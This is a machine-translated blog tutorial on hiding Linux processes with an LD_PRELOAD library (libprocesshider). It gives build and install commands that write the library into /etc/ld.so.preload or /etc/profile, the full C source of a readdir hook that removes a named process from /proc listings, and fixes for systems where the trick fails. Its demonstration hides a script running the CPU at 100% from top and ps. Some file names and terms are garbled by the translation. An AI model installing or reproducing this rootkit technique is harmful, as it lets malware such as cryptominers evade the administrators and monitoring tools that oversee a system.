A method of hiding processes under linux and pits encountered
- 2020-11-20 06:24:04
- OfStack
preface
1. This paper used tool in https: / / github com gianlucaborello/libprocesshider available for download
2. The idea is to use LD_PRELOAD to achieve system function hijacking
What IS LD_PRELOAD:
LD_PRELOAD is an environment variable in the Linux system that affects the run-time linking of the program (Runtime linker). It allows you to define dynamic linking libraries that are loaded before the program is run. The main purpose of this feature is to selectively load the same functions in different dynamically linked libraries. With this environment variable, we can load other dynamically linked libraries in the middle of the main program and its dynamically linked libraries, or even override the normal function libraries. In one aspect, we can use this functionality to use our own or better functions (without someone else's source code), and in another aspect, we can inject programs into someone else's program for a specific purpose.
implementation
1. Download and compile the program
bmfxgkpt-yhd:~# git clone https://github.com/gianlucaborello/libprocesshider.git
Cloning into 'libprocesshider'...
remote: Counting objects: 26, done.
remote: Total 26 (delta 0), reused 0 (delta 0), pack-reused 26
Unpacking objects: 100% (26/26), done.
bmfxgkpt-yhd:~# cd libprocesshider/
bmfxgkpt-yhd:~/libprocesshider# make
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
bmfxgkpt-yhd:~/libprocesshider#
2. Move the file to /usr/local/lib/ directory
mv libprocesshider.so /usr/local/lib/
3. Load it into the global Dynamic connection bureau
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
test
1. We run evil_ES46en.py
2. At this time, it was found that es53EN_script.py could not be found in top and ps
At this point we found cpu 100%, but we couldn't find any programs that took up cpu high
Analysis of the
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/*
* Every process with this name will be excluded
*/
static const char* process_to_filter = "evil_script.py";
/*
* Get a directory name given a DIR* handle
*/
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
int fd = dirfd(dirp);
if(fd == -1) {
return 0;
}
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) {
return 0;
}
buf[ret] = 0;
return 1;
}
/*
* Get a process name given its pid
*/
static int get_process_name(char* pid, char* buf)
{
if(strspn(pid, "0123456789") != strlen(pid)) {
return 0;
}
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) {
return 0;
}
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, "readdir"); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
struct dirent* dir; \
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
1. The program defines a variable process_to_filter to control which process name is not displayed
2. Rewrite readdir,
strcmp(process_name, process_to_filter) == 0)
When the current process name is found to be the same as process_to_filter, the loop continues.
In the pit of
1. This program does not compile in some Linux
The solution
Delete one of the last two lines
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
2. Used in some Linux
shell echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
It doesn't work
At this point we need to configure the environment variables
shell bmfxgkpt-yhd:~# vi /etc/profile
increase 1 line
shell export LD_PRELOAD=/usr/local/lib/libprocesshider.so
conclusion